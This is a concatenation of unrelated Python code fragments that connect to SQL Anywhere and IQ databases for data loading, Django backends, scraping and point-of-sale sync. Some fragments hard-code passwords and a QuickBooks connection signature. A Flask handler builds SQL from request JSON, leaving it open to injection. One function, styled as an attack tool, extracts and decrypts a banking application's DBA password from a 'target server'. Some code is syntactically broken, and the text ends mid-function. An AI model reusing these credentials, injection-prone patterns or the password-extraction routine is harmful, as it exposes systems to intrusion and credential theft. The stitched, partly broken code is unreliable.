def saveData(data, host, utype): if utype == "login": tablename = "***************************" tableformat = "(LoginIdApplied, Label, DateCreated)" elif utype == "cookie": tablename = "*****************************" tableformat = "(VisitorId, Label, DateCreated)" else: print("'utype' not recognized: Trying to infer type of data...") if np.any( list(data.columns).str.lower() == "loginidapplied" ): utype = "login" tablename = "********************" tableformat = "(LoginIdApplied, Label, DateCreated)" else: utype = "cookie" tablename = "********************************" tableformat = "(VisitorId, Label, DateCreated)" print("Derived type = '%s'. Attempting to write to dbtable." % utype ) filename = "data_"+str(utype)+".csv" data.to_csv(filename, encoding="utf-8", sep=",", index=False) clientfile = '\''+filename+'\'' separator = "\',\'" sql = 'LOAD TABLE ' + tablename + ' ' + tableformat +\ ' USING CLIENT FILE ' + clientfile +\ ' QUOTES ON ESCAPES OFF strip off'\ ' format bcp'\ ' delimited by' + ' ' + separator +\ ' row delimited by \'\n\''\ ' skip 1;' try: conn = sqlanydb.connect(UID="*********", PWD="************", HOST=host) cursor = conn.cursor() cursor.execute(sql) print("Data successfully written to database.") except: sys.exit( "Could not write data. Error code = %s: SystemExit." % str(sys.exc_info()[0]) ) finally: cursor.close() conn.commit() conn.close() try: os.remove(filename) except: print("Could not remove file '%s'. Error code = %s." % (filename, str(sys.exc_info()[0]))) # Return to main() return
def do_conn_iq(self,is_produccion): #is_produccion = 0 > false #is_produccion = 1 > true if is_produccion == 0: con = sqlanydb.connect( userid="<user_id>",password="******" ) elif is_produccion == 1: con = sqlanydb.connect( userid="<user_id>",password="******" )
def get_pdb(self): if self.pdb != None: return self.pdb self.pdb = sqlanydb.connect(**config.sqlany_pos_server) #cur = pdb.cursor() #cur.execute("SET TEMPORARY OPTION CONNECTION_AUTHENTICATION='Company=Intuit Inc.;Application=QuickBooks Point of Sale;Signature=000fa55157edb8e14d818eb4fe3db41447146f1571g7262d341128bbd2768e586a0b43d5568a6bb52cc'") print 'PDB Connected' return self.pdb
def writeData(data, sqltype, alias): global __segmentationFile__ print(" Saving 'data' to %s." % __segmentationFile__) data.to_csv(__segmentationFile__, encoding="utf-8", sep=",", index=False) sql = makeSqlQuery(sqltype) try: host_ = "**************" if alias == "*******" else "*************" con = sqlanydb.connect(UID="*********", PWD="*********", HOST=host_) print(" Successfully connected to database at '%s'." % host_) except: sys.exit(" Could not connect to database '%s'. System exit." % host_) cursor = con.cursor() try: cursor.execute(sql) print(" Data successfully written: Returning to main().") except: sys.exit(" Could not execute query. System exit.") cursor.close() con.commit() con.close() try: os.remove(__segmentationFile__) except: print(" Could not remove file '%s'." % __segmentationFile__) return
def getClickstreamData(sqltype, alias="*******"): try: host_ = "**************" if alias == "*******" else "*************" con = sqlanydb.connect(UID="*********", PWD="*********", HOST=host_) print(" Successfully connected to database ******.") except: print(" Could not connect to IQ prod.") sys.exit() print(" Sql query type = %s" % sqltype) cursor = con.cursor() query = makeSqlQuery(sqltype) if query != "": try: cursor.execute(query) rows = cursor.fetchall() except: message = " Could not retrieve data." sys.exit(message) else: print(" Query came back empty: Returning empty dataframe to main.") return pd.DataFrame() df = pd.DataFrame(rows) desc = cursor.description df.columns = [name[0] for name in desc] cursor.close() con.close() return df
def datospost(): if request.headers['Content-Type'] == 'text/plain': return "Text Mensaje: " + str(request.data) elif request.headers['Content-Type'] == 'application/json': conn = sqlanydb.connect(uid=uid, pwd=pwd, eng=eng, host=host, preFetchRows='15000') curs = conn.cursor() rows = request.json for r in rows: param = list(r.values()) #param = param[1:] param = str(tuple(param)).replace('None', 'null') columnas = list(r.keys()) #columnas = columnas[1:] columnas = str(tuple(columnas)) columnas = columnas.replace("'", '') sql = "insert into ventas_solintece_tmp " + columnas + " values" + param curs.execute(sql) curs.close() conn.commit() conn.close() return "JSON Mensaje" elif request.headers['Content-Type'] == 'application/octet-stream': f = open('./binary', 'wb') f.write(request.data) f.close() return "Dato binario!" else: return "415 Tipo no soportado ;)"
def pos_db(): c = g_db.get('pos') if c != None: return (g_db.get('pos_cur'), g_db.get('pos_sur')) c = g_db['pos'] = sqlanydb.connect(**g_pos_server) cur = g_db['pos_cur'] = c.cursor() sur = g_db['pos_sur'] = c.cursor() return (cur, sur)
def connectES(host): conn = sqlanydb.connect(UID=ct.SAUID, PWD=ct.SAPWD, HOST=host, DBN=ct.SADatabase, ENG=ct.SAServer) return conn
def connect_to_db(username, password, dbname, host, port): """ Connect to IQ database and get connection and cursor. :param username: :param password: :param dbname: :param host: :param port: :param charset: Codepage setting of destination database :return: connection to DB, and cursor. """ try: conn = sqlanydb.connect(uid=username, pwd=password, dbn=dbname, host=str(host) + ":" + str(port)) curs = conn.cursor() # logger.info(f'connection and cursor created for database {database} on host {hostname}') print( f'connection and cursor created for database {dbname} on host {host}' ) except Exception as e: # logger.error('Error while connecting to database or getting a cursor') print('Error while connecting to database or getting a cursor') raise e return conn, curs
def executeQuery(uid, pwd, host, query): """ Module will attempt to connect to the database a number of times if unsuccessful the first time. """ attempt = 0 exit_code = -1 # Will be set to 0 upon successful read wait_time_min = 1 while attempt < 5: try: con = anydb.connect(UID=uid, PWD=pwd, HOST=host) cursor = con.cursor() cursor.execute(query) exit_code = 0 break except: print("Attempt %i failed. \nError code: %s. \nWaiting for %i minute(s), then trying again." % ((attempt+1), sys.exc_info()[1], wait_time_min)) time.sleep(wait_time_min * 60.) attempt += 1 finally: con.commit() cursor.close() con.close() return exit_code
def call835Proc(self): # run sql and output to a csv conn = sqlanydb.connect(DSN="SSRXDEVIQ1") curs = conn.cursor() now = datetime.datetime.now() date = now.strftime('%Y-%m-%d') for processor_name in self.processors: output_file = 'processor_835_extract_' + date + '_' + processor_name + '.csv' output_file = output_file.replace(" ", "") sql = """call ssrx.ssrx_835_report('""" + processor_name + """');""" curs.execute(sql) with open(output_file, 'w', newline='') as result: rowset = curs.fetchall() for row in rowset: wtr = csv.writer(result, delimiter='|') wtr.writerow((row[0], row[1], row[2], row[3])) curs.close() conn.close() # convert csv to Excel spreadhseet for file in glob.glob("*.csv"): wb = openpyxl.Workbook() ws = wb.active f = open(file) reader = csv.reader(f, delimiter='|') for row in reader: ws.append(row) f.close() file = file.replace(".csv", ".xlsx") wb.save(file) os.system('rm *.csv*')
def _cursor(self): cursor = None if not self._valid_connection(): kwargs = {} links = {} settings_dict = self.settings_dict if settings_dict['USER']: kwargs['uid'] = settings_dict['USER'] if settings_dict['NAME']: kwargs['dbn'] = settings_dict['NAME'] if settings_dict['PASSWORD']: kwargs['pwd'] = settings_dict['PASSWORD'] root = Database.Root('PYTHON') try: vers = root.api.sqlany_client_version() ret = True except: length = 1000 buffer = ctypes.create_string_buffer(length) ret = root.api.sqlany_client_version( ctypes.byref(buffer), length) vers = buffer.value if ret: vers = int(vers.split('.')[0]) else: vers = 11 # assume old host = settings_dict['HOST'] if host == '': host = 'localhost' # "Set to empty string for localhost" if host and vers > 11: kwargs['host'] = host try: port = str(settings_dict['PORT']) except: port = None if port: kwargs['host'] += ':%s' % port else: if host: links['host'] = host if settings_dict['PORT']: links['port'] = str(settings_dict['PORT']) if len(links) > 0: kwargs['links'] = 'tcpip(' + ','.join( k + '=' + v for k, v in links.items()) + ')' kwargs.update(settings_dict['OPTIONS']) self.connection = Database.connect(**kwargs) cursor = CursorWrapper(self.connection.cursor()) cursor.execute("SET OPTION PUBLIC.reserved_keywords='LIMIT'") cursor.execute( "SET TEMPORARY OPTION TIMESTAMP_FORMAT='YYYY-MM-DD HH:NN:SS.SSSSSS'" ) connection_created.send(sender=self.__class__, connection=self) if not cursor: cursor = CursorWrapper(self.connection.cursor()) return cursor
def get_new_connection(self, conn_params): conn = Database.connect(**conn_params) if conn is not None and djangoVersion[:2] >= (1, 6): # Autocommit is the default for 1.6+ curs = conn.cursor() curs.execute("SET TEMPORARY OPTION chained='Off'") curs.close() return conn
def querydbtopandas(query): try: conn = sqlanydb.connect(uid = user_dw , pwd=, host=, dbn = db_dw, charset='utf8') df = pd.read_sql(query,conn) except Exception as err: print("El error del SQL es: %s" % str(err)) finally: conn.close() return df
def db_qb(): cfg = config.sqlany_qb.copy() dd = open(cfg['dbf'] + '.ND', 'rb').read() nd = dict([ f_x.strip().split('=', 2) for f_x in dd[dd.find('[NetConnect]') + 12:].strip().split('\n') if f_x.strip()]) del cfg['dbf'] cfg['links'] = 'tcpip(host=%s:%s;DoBroadcast=None)' % (nd['ServerIp'], nd['ServerPort']) cfg['ServerName'] = nd['EngineName'] cfg['dbn'] = nd['FileConnectionGuid'] return sqlanydb.connect(**cfg)
def connect(): try: global _conn if _conn is None: _conn = sqlanydb.connect(userid="DBA", password="******", serverName=DB_SERVERNAME, databasename=DB_NAME, databasefile=DB_FILE) return _conn except: logger.error("Failed to connect to database." + "You may need to change the DB_FILE value in airbnb.py")
def query(server, db, query, user="", password=""): """ TODO: write docstring""" conn = sqlanydb.connect(DSN=server, uid=user, pwd=password, dbn=db) try: cur = conn.cursor() cur.execute(query) result_list = cur.fetchall() conn.close() return result_list except Exception as exc: conn.close() print(exc) raise
def connect(): try: global _conn if _conn is None: _conn = sqlanydb.connect( userid="dba", password="******", serverName=DB_SERVERNAME, databasename=DB_NAME, databasefile=DB_FILE) return _conn except: logging.error( "Failed to connect to database." + "You may need to change the DB_FILE value.")
def ESCheck(): StatusCheck = [] for i in range(1, 43): #len(ClinicDict)+1 try: esconn = sqlanydb.connect( #Establish Connection UID=ct.SAUID, PWD=ct.SAPWD, HOST=ClinicDict[i], DBN=ct.SADatabase, ENG=ct.SAServer) esconn.close() #Close Connection StatusCheck.append("Clinic %s: Connection Success" % i) except: StatusCheck.append("Could not connect to Clinic %s at HOST: %s" % (i, ClinicDict[i])) return StatusCheck
def _connect_to_utility_db(self): # Note: We don't use our standard double-quotes to "quote name" # a database name when creating a new database kwargs = {} links = {} settings_dict = self.connection.settings_dict if settings_dict['USER']: kwargs['uid'] = settings_dict['USER'] kwargs['dbn'] = 'utility_db' if settings_dict['PASSWORD']: kwargs['pwd'] = settings_dict['PASSWORD'] if settings_dict['HOST']: links['host'] = settings_dict['HOST'] if settings_dict['PORT']: links['port'] = str(settings_dict['PORT']) kwargs.update(settings_dict['OPTIONS']) if len(links) > 0: kwargs['links'] = 'tcpip(' + ','.join(k+'='+v for k, v in links.items()) + ')' return Database.connect(**kwargs)
def fs_to_cj(data): data = [(f_x[1],) for f_x in data if f_x[0] == 'customer'] if not data: return n = len(data) dbc = sqlanydb.connect(**g_pos_server) cur = dbc.cursor() cur.execute("SET TEMPORARY OPTION CONNECTION_AUTHENTICATION='Company=Intuit Inc.;Application=QuickBooks Point of Sale;Signature=000fa55157edb8e14d818eb4fe3db41447146f1571g7262d341128bbd2768e586a0b43d5568a6bb52cc'") try: while data: cur.executemany("insert into changejournal values(default,'Customer',?,1,now(),'POSX', '-1')", data[:500]) data = data[500:] cur.execute('commit') cur.close() finally: dbc.close() print 'fs_to_cj: N(%d)' % (n, )
def executeQuery(uid_, pwd_, host_, query): try: con = sqlanydb.connect(UID=uid_, PWD=pwd_, HOST=host_) except: return None cursor = con.cursor() try: cursor.execute(query) df = pd.DataFrame(cursor.fetchall()) desc = cursor.description df.columns = [name[0] for name in desc] except: print("Could not execute query. Error code: %s" % (sys.exc_info()[1])) return None finally: con.commit() cursor.close() con.close() return df
def _connect_to_utility_db(self): # Note: We don't use our standard double-quotes to "quote name" # a database name when creating a new database kwargs = {} links = {} settings_dict = self.connection.settings_dict if settings_dict['USER']: kwargs['uid'] = settings_dict['USER'] kwargs['dbn'] = 'utility_db' if settings_dict['PASSWORD']: kwargs['pwd'] = settings_dict['PASSWORD'] if settings_dict['HOST']: links['host'] = settings_dict['HOST'] if settings_dict['PORT']: links['port'] = str(settings_dict['PORT']) kwargs.update(settings_dict['OPTIONS']) if len(links) > 0: kwargs['links'] = 'tcpip(' + ','.join( k + '=' + v for k, v in list(links.items())) + ')' return Database.connect(**kwargs)
def ESGrab(host, query=None): query = query or noquery #Use class query if no alternative try: esconn = sqlanydb.connect( #Establish Connection UID=ct.SAUID, PWD=ct.SAPWD, HOST=host, DBN=ct.SADatabase, ENG=ct.SAServer) escurs = esconn.cursor() #Create Cursor try: escurs.execute(query) #Execute query argument esresults = escurs.fetchall() #Fetch results of query escurs.close() #Close Cursor esconn.close() #Close Connection return esresults #Return stored results except (sqlanydb.Error) as se: print(se) except (sqlanydb.Error) as ce: print(ce) print("Could not connect to HOST: %s" % host)
def writeToDatabase(table_name, table_format, filenames, dbhost): written = 0 numfiles = len(filenames) for filename in filenames: client_file = "'"+filename+"'" sql = "LOAD TABLE "+table_name+" "+table_format+\ " USING CLIENT FILE "+client_file+\ " QUOTES ON ESCAPES OFF STRIP OFF"\ " FORMAT BCP"\ " DELIMITED BY ','"\ " ROW DELIMITED BY '\n'"\ " skip 1;" try: con = sqlanydb.connect(UID='********', PWD='*********', HOST=dbhost) except: print("Could not connect to database. Error code = %s." % sys.exc_info()[1]) break cursor = con.cursor() try: cursor.execute(sql) written += 1 except: print("Could not write '%s' to dbtable '%s'. \n\nError code = %s." % (filename, table_name, sys.exc_info()[1])) time.sleep(10) continue finally: con.commit() cursor.close() con.close() print("Wrote %i files to database '%s'. Number of files to write was: %i." % (written, dbhost, numfiles)) return
def writeModeData(data, sqltype, alias): # Implement column checks for testcol in ["userid", "mode", "probactive", "idflag", "datekey"]: if testcol not in list(data.columns.str.lower()): sys.exit("writeData: '%s' column not found!" % testcol) global __modeFile__ print("Saving 'data' to %s." % __modeFile__) data.to_csv(__modeFile__, encoding="utf-8", sep=",", index=False) sql = makeSqlQuery(sqltype) try: host_ = "***************" if alias == "******" else "**************" con = sqlanydb.connect(UID="********", PWD="********", HOST=host_) print("Successfully connected to database at '%s'." % host_) except: sys.exit("Could not connect to database '%s'. System exit." % host_) cursor = con.cursor() try: cursor.execute(sql) print("Data successfully written: Returning to main().") except: cursor.close() con.commit() con.close() sys.exit("Could not execute query. System exit.") cursor.close() con.commit() con.close() try: os.remove(__modeFile__) except: print("Could not remove file '%s'." % __modeFile__) return
def executeQuery(sql, alias="*******"): try: host_ = "**************" if alias == "*******" else "*************" con = sqlanydb.connect(UID="*********", PWD="*********", HOST=host_) print(" Successfully connected to database at '%s'." % host_) except: print(" Could not connect to database %s.\n" % host_) print(" ==> Returning empty dataframe.") return pd.DataFrame() cursor = con.cursor() try: cursor.execute(sql) rows = cursor.fetchall() except: print("Could not execute query: Returning empty dataframe.") return pd.DataFrame() df = pd.DataFrame(rows) desc = cursor.description df.columns = [name[0] for name in desc] cursor.close() con.close() print(" Returning dataframe with %i rows" % df.shape[0]) return df
def fetch_db_dba_pwd(): target_host=''+DB_HOST+':'+DB_PORT print("[*] Trying to connect to the target server: "+target_host) conn = sqlanydb.connect( uid=DB_CONNECTOR_UID, pwd=DB_CONNECTOR_PWD, servername='ELBA5SRV', host=target_host ) print("[*] Extracting the secret key") curs = conn.cursor() curs.execute("SELECT DECRYPT(daten, '"+DB_DBA_ENCRYPTION_PWD+"', 'AES') FROM elbndba.connection") # decode the result to a valid utf-8 string decrypted_pwd=curs.fetchone()[0].decode("utf-8") ; curs.close() conn.close() return decrypted_pwd;
def executeQueryReturnData(uid, pwd, host, query): """ Module will attempt to connect to the database a number of times if unsuccessful the first time. """ attempt = 0 exit_code = -1 # Will be set to 0 upon successful read wait_time_min = 10 while attempt < 5: try: con = anydb.connect(UID=uid, PWD=pwd, HOST=host) cursor = con.cursor() start_time = time.time() cursor.execute(query) rows = cursor.fetchall() df = pd.DataFrame(rows) del rows desc = cursor.description df.columns = [name[0] for name in desc] end_time = time.time() print("Query execution time = %.2f minutes. Row count = %i" % ((end_time-start_time)/float(60), df.shape[0])) exit_code = 0 break except: print("Attempt %i failed. \nError code: %s. \nWaiting for %i minute(s), then trying again." % ((attempt+1), sys.exc_info()[1], wait_time_min)) time.sleep(wait_time_min * 60.) attempt +=1 finally: con.commit() cursor.close() con.close() if exit_code == 0: return df else: return None
import sqlanydb host = 'localhost' port = '2638' dbname = 'dwh' username = '******' password = '******' conn = sqlanydb.connect(uid=username, pwd=password, dbn=dbname, host=str(host) + ":" + str(port)) class SqlResult(list): """Когда ответ от БД не простой list, а объект, то можно добавить к нему доп. инфо, например добавить имена колонок из SELECT'а (делается в run_query)""" def __init__(self, result): super().__init__(result) def connect_to_db(username, password, dbname, host, port): """ Connect to IQ database and get connection and cursor. :param username: :param password: :param dbname: :param host: :param port: :param charset: Codepage setting of destination database :return: connection to DB, and cursor.
def connectES(): return sqlanydb.connect(UID=ct.SAUID, PWD=ct.SAPWD, HOST='10.20.11.250', DBN=ct.SADatabase, ENG=ct.SAServer)
import sqlanydb #conn = sqlanydb.connect(dsn='SYBASE_IQ') conn = sqlanydb.connect(dsn='dwhdb_eniq') curs = conn.cursor() curs.execute("select 'Hello, world!'") print("SQL Anywhere says: %s" % curs.fetchone()) curs.close() conn.close()
def __init__(self, p_db, connect = True): ''' Parameter db="dbtype://*****:*****@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=%s)(PORT=%s))(CONNECT_DATA=(SERVICE_NAME=%s)))" s = s % (user, pwd, hostname, port, dbname) self.db = cx_Oracle.connect(s) self.cursor = self.db.cursor() elif self.dbtype == "netezza": # conn="DRIVER={MySQL ODBC 3.51 Driver}; SERVER=localhost; PORT=3306; DATABASE=mysql; UID=joe; # PASSWORD=bloggs; OPTION=3;SOCKET=/var/run/mysqld/mysqld.sock;" self.cursor = Connect(hostname, user, pwd) elif self.dbtype in ["hana"]: from hdbcli import dbapi self.db = dbapi.connect( address=hostname, port=30015+int(port), user=user, password=pwd, autocommit=True) self.cursor = self.db.cursor() elif self.dbtype in ["progress"]: dsn = self.odbc(hostname, port, dbname) self.db = pyodbc.connect( dsn=dsn, user=user, password=pwd, autocommit=True) self.cursor = self.db.cursor() elif self.dbtype in ["zen"]: # Example: driver={Pervasive ODBC Interface};server=localhost;DBQ=demodata' # Example: driver={Pervasive ODBC Interface};server=hostname:port;serverdsn=dbname' dsn = dbname connString = "DRIVER={Pervasive ODBC Interface};SERVER=%s;ServerDSN=%s;UID=%s;PWD=%s;" % ( hostname, dsn, user, pwd) if connect: self.db = pyodbc.connect(connString, autocommit=True) self.cursor = self.db.cursor() elif self.dbtype in ["ingres", "vector", "vectorh", "actianx", "avalanche"]: connString = "DRIVER={Ingres};SERVER=@%s,tcp_ip,%s;DATABASE=%s;SERVERTYPE=INGRES;UID=%s;PWD=%s;" % ( hostname, port, dbname, user, pwd) if connect: self.db = pyodbc.connect(connString, autocommit=True) self.cursor = self.db.cursor() else: perror("Unknown_db_type", self.dbtype) except Exception as ex: self.logger.exception(ex)
# -*- coding: utf-8 -*- import sqlanydb user_id = 'dba' password = '******' dbname = 'tradesRPDB' # 'demo' # 'C:\Users\bob\Documents\tradesRPDB.db' ##conn.execute('insert into Login values("%s", "%s")' % \ ## (user_id, password)) conn = sqlanydb.connect(uid=user_id, pwd=password, eng=dbname, dbn=dbname) curs = conn.cursor() curs.execute("select 'Connected to '") print "SQL Anywhere says: %s" % curs.fetchone() print dbname tablename = 'Persons' #'tradesdbase' tablename = 'tradesdbase' # Execute a SQL string sql = 'SELECT * FROM ' + tablename +' ' curs.execute(sql) # Get a cursor description which contains column names desc = curs.description ##for x in desc: ## print x ## for b in x: ## print b ####print desc print len(desc) # Fetch all results from the cursor into a sequence, # display the values as column name=value pairs, # and then close the connection rowset = curs.fetchall()
import pandas as pd from pandas import DataFrame import sqlanydb con = sqlanydb.connect( userid='dba', pwd='hell4min', servername='iqserver', host='localhost:2638' ) cursor = con.cursor() select_query = 'SELECT * from core.crm_client' crm_client = {'crm_client_id':['1','2','3','4'], 'name': ['Серик', None, 'Семен', 'Асланбек'], 'midname': ['sdf', 'sdfs', 'gdsd', 'kj'], 'surname': ['sdf', 'fgfd', 'rfv', 'tyh'], 'email': ['e', 'w', 'r', 't'], 'mobile_num': [3, 4, 5, 6], 'fio': ['a', 'f', 'k', 'g'], 'card_num': [2345, 542, 3456, 745], 'inn': [76, 56, 54, 34], 'comments':['f', 'd', 'e', 'f'] } df = DataFrame(crm_client, columns= ['crm_client_id', 'name', 'midname','surname','email','mobile_num','fio','card_num','inn','comments']) #print(df) print(df.info()) df = df.applymap(str) print(df.info()) # val = df.values.tolist() #print(val) # stmt2 = "insert into testy (v1) values (?)" # list_of_lists = [[list1], [list2], [list3]] # cs.executemany(stmt2, list_of_lists) # #[print(str(i)) for i in range(500000)]
def connectGetRawData(logging, uid="**********", passwd="**********", host="********************", dbtable="*****************", sourceDir="*************", outputDataLoginFile="****************", outputDataCookieFile="*****************", outputWeightingFile="***********************", date=00000000): # Need to quickly parse the date text = str(date) thisDate = text[0:4] + "-" + text[4:6] + "-" + text[6:] thisDate = "\'" + thisDate + "\'" try: con = sqlanydb.connect(UID=uid, PWD=passwd, HOST=host) print("Successfully connected to database: " + host) except: message = "Could not connect to database: " + host + ". -- Exiting --" logging.info(message) sys.exit(message) cursor = con.cursor() sql = 'select c.* from '\ '(select (b.RelativeWeek-13) as startweek, b.RelativeWeek as endweek '\ 'from (select FullDate, YearWeek, RelativeWeek, RelativeWeeksToToday from v_Date) b '\ 'inner join (select ' + thisDate + ' as today) a '\ 'on b.FullDate = a.today) c' cursor.execute(sql) desc = cursor.description rowset = cursor.fetchall() cursor.close() weeklimits = pd.DataFrame(rowset) weeklimits.columns = ('startweek', 'endweek') cursor = con.cursor() sql = "select * from v_Week" cursor.execute(sql) desc = cursor.description res_list = [x[0] for x in desc] rowset = cursor.fetchall() Dateset = pd.DataFrame(rowset) Dateset.columns = res_list Dateset = Dateset[['RelativeWeek','WeekKey']] A = pd.merge(weeklimits, Dateset, how='inner', left_on='startweek', right_on = 'RelativeWeek') A.rename(columns={'WeekKey':'Starting_WeekKey'}, inplace=True) B = pd.merge(weeklimits, Dateset, how='inner', left_on='endweek', right_on = 'RelativeWeek') B.rename(columns={'WeekKey':'Ending_WeekKey'}, inplace=True) StartingWeek = A.Starting_WeekKey.values[0] EndingWeek = B.Ending_WeekKey.values[0] headers = ["LoginIdApplied", "WeekKey", "MainFunction", "FullFunction", "PageViews", "Applied", "SomeConversion", "AdId", "VisitorId", "LoginIdFlag"] # Cosmetic prefix = "dtab" # Set headers headers_temp = [prefix + "." + col + ", " for col in headers[:-1]] headers_temp.append(prefix + "." + headers[len(headers)-1]) string_headers = "".join(headers_temp) sql = ("select "+string_headers+" from "+dbtable+" "+prefix+" where WeekKey >= " +str(StartingWeek)+" and WeekKey <= "+str(EndingWeek)) cursor.execute(sql) desc = cursor.description rowset = cursor.fetchall() cursor.close() print("Attempting to leverage data into data frame. This might take a while.") rawData = pd.DataFrame(rowset) rawData.columns = [name[0] for name in desc] print("Data volume: (nrows, ncols) =",rawData.shape) print("Number of weeks of data =",len(np.unique(rawData.WeekKey))) data_loginid = rawData[rawData.LoginIdFlag == 1] wantCols_loginid = ["LoginIdApplied" ,"WeekKey" ,"MainFunction" ,"FullFunction" ,"PageViews" ,"Applied" ,"SomeConversion" ,"AdId"] data_loginid = data_loginid[wantCols_loginid] data_cookie = rawData[rawData.LoginIdFlag == 0] wantCols_cookie = ["VisitorId" ,"WeekKey" ,"MainFunction" ,"FullFunction" ,"PageViews" ,"Applied" ,"SomeConversion" ,"AdId"] data_cookie = data_cookie[wantCols_cookie] try: data_loginid.to_csv("".join((sourceDir, outputDataLoginFile)), sep=",", encoding="utf-8", index=False) data_cookie.to_csv("".join((sourceDir, outputDataCookieFile)), sep=",", encoding="utf-8", index=False) logging.info("Raw data files successfully saved.") except: sys.exit("Saving raw data files failed: SystemExit.") print("Attempting to calculate dynamic weights.") cursor = con.cursor() sql = "select megatable.fullfunction, avg(ads) "\ "from (select * from(select a.week, b.fullfunction "\ "from (select distinct \'1\' as a, d.Week from d_date d "\ "where d.YearWeek >= " + str(StartingWeek) + " and d.Yearweek <= " + str(EndingWeek) + ") a "\ "join (select distinct \'1\' as a, (acj.mainfunction+\'_\'+acj.subfunction) as Fullfunction "\ "from d_adclassifiedjob acj) b on a.a=b.a ) c "\ "left outer join (select d.Week as NewWeek, acj.mainfunction+'_'+acj.subfunction as NewFullfunction, "\ "count(ac.adid) as ads from d_adclassified ac "\ "join d_adclassifiedjob acj on ac.adclassifiedkey = acj.adclassifiedkey "\ "join d_Date d on ac.PublishDateKey = d.DateKey "\ "where d.YearWeek >= " + str(StartingWeek) + " and d.Yearweek <= " + str(EndingWeek) + " "\ "group by NewWeek, NewFullfunction) d "\ "on c.Week=d.NewWeek and c.Fullfunction = d.NewFullfunction) megatable "\ "group by megatable.Fullfunction "\ "order by megatable.Fullfunction" try: cursor.execute(sql) desc = cursor.description rowset = cursor.fetchall() except: sys.exit("Could not execute dynamic weights query: SystemExit.") finally: cursor.close() con.close() print("Attempting to leverage data into data frame.") outputData = pd.DataFrame(rowset) outputData.columns = ["FullFunction", "AVG"] outputData.fillna(value=0., inplace=True) outputData["AVG"] = outputData["AVG"].astype(float) outputData["Total"] = outputData["AVG"].sum() print("Done.") try: outputData.to_csv("".join((sourceDir, outputWeightingFile)), sep=",", encoding="utf-8", index=False) logging.info("Weights file successfully saved. Returning to main().") except: sys.exit("Saving weights file failed: SystemExit.") return
import urllib.request import urllib.parse from lxml import html import sqlanydb import webbrowser #from PySide import QtGui #from PySide import QtCore #from PySide import QtWebKit #globals # logging.basicConfig(level=logging.INFO) logging.basicConfig(format='%(message)s', level=logging.INFO) conn = sqlanydb.connect( userid="DBA", password="******", serverName="airbnb", databasename="airbnb", databasefile="/home/tom/src/airbnb/db/airbnb.db", ) URL_ROOM_ROOT = "http://www.airbnb.com/rooms/" URL_HOST_ROOT="https://www.airbnb.com/users/show/" URL_TIMEOUT=10.0 FILL_MAX_ROOM_COUNT = 50000 SEARCH_MAX_PAGES = 25 SEARCH_MAX_GUESTS = 16 FLAGS_ADD=1 FLAGS_PRINT=9 FLAGS_INSERT_REPLACE=True FLAGS_INSERT_NO_REPLACE=False def add_survey(city):
#!/usr/bin/python import matplotlib.pyplot as plt import matplotlib.font_manager as fm import matplotlib import numpy as np import sys, traceback import logging import sqlanydb as db logging.basicConfig(format='%(message)s', level=logging.INFO) conn = db.connect( userid="DBA", password="******", serverName="airbnb", databasename="airbnb", databasefile="/home/tom/src/airbnb/db/airbnb.db", ) PIECHART_EXPLODE=0.05 class byhost: sql = """ select case when multilister > 0.5 then 'Multiple' else 'Single' end as host_type, count(*) hosts from survey_host(@survey_id) group by host_type
# *************************************************************************** # Copyright (c) 2017 SAP SE or an SAP affiliate company. All rights reserved. # *************************************************************************** ####################################################################### # This sample code is provided AS IS, without warranty or liability # of any kind. # # You may use, reproduce, modify and distribute this sample code # without limitation, on the condition that you retain the foregoing # copyright notice and disclaimer as to the original code. # ####################################################################### # # This sample program contains a hard-coded userid and password # to connect to the demo database. This is done to simplify the # sample program. The use of hard-coded passwords is strongly # discouraged in production code. A best practice for production # code would be to prompt the user for the userid and password. # ####################################################################### import sqlanydb con = sqlanydb.connect(userid='dba', password='******') cur = con.cursor() cur.execute('select count(*) from Employees') assert cur.fetchone()[0] > 0 con.close() print('sqlanydb successfully installed.')
def get_new_connection( self, conn_params ): return Database.connect(**conn_params)
#r = requests.post(server_rest + '/insertpost', json=j) #if r.status_code == requests.codes.ok: # print('si') #else: # print('no') cur.close() conn.close() host = '127.0.0.1' eng = 'siaci_db' pwd = '197304' uid = 'dba' conn2 = sqlanydb.connect(uid=uid, pwd=pwd, eng=eng, host=host, preFetchRows='15000') curs = conn2.cursor() rows = j for r in rows: param = list(r.values()) #param = param[1:] param = str(tuple(param)).replace('None', 'null') columnas = list(r.keys()) #columnas = columnas[1:] columnas = str(tuple(columnas)) columnas = columnas.replace("'", '') sql = "insert into ventas_solintece_tmp " + columnas + " values" + param curs.execute(sql) curs.close()
def db_pos(): return sqlanydb.connect(**config.sqlany_pos)
parse_mode=ParseMode.MARKDOWN_V2) except ValidationError: logger.critical( "Bot token is invalid. Make sure that you've set a valid token in the .env file" ) quit() loop = asyncio.get_event_loop() dp = Dispatcher(bot, loop=loop) runner = executor.Executor(dp, skip_updates=config.BOT_SKIPUPDATES) loader = PackagesLoader() try: logger.debug('Connecting to a SQLA database with UID "{}"', config.DB_UID) conn = sqlanydb.connect(uid=config.DB_UID, pwd=config.DB_PASSWORD) curs = conn.cursor() logger.success( 'Successfully connected to SQLAnywhere database as "{}". Reading table "{}"', config.DB_UID, config.DB_TABLE_NAME, ) except sqlanydb.InterfaceError: logger.exception( "Couldn't connect to SQLAnywhere database. " 'Make sure that you\'ve correctly set the full path to "dbcapi.dll" in the .env file' ) quit() except (TypeError, sqlanydb.OperationalError): logger.exception( "Couldn't connect to SQLAnywhere database. "
def _cursor(self): cursor = None if not self._valid_connection(): kwargs = {} links = {} settings_dict = self.settings_dict def setting( key ): if settings_dict.has_key(key): return settings_dict[key] if settings_dict.has_key('DATABASE_%s' % key): return settings_dict['DATABASE_%s' % key] return None # uid = setting( 'USER' ) if uid is not None: kwargs['uid'] = uid dbn = setting( 'NAME' ) if dbn is not None: kwargs['dbn'] = dbn pwd = setting( 'PASSWORD' ) if pwd is not None: kwargs['pwd'] = pwd root = Database.Root('PYTHON') try: vers = root.api.sqlany_client_version() ret = True except: length = 1000 buffer = ctypes.create_string_buffer(length) ret = root.api.sqlany_client_version(ctypes.byref(buffer), length) vers = buffer.value if ret: vers = int(vers.split('.')[0]) else: vers = 11 # assume old host = setting( 'HOST' ) if host == '': host = 'localhost' # "Set to empty string for localhost" if host is not None and vers > 11: kwargs['host'] = host port = setting( 'PORT' ) if port is not None: kwargs['host'] += ':%s' % port else: if host is not None: links['host'] = host port = setting( 'PORT' ) if port is not None: links['port'] = str( port ) if len(links) > 0: kwargs['links'] = 'tcpip(' + ','.join(k+'='+v for k, v in 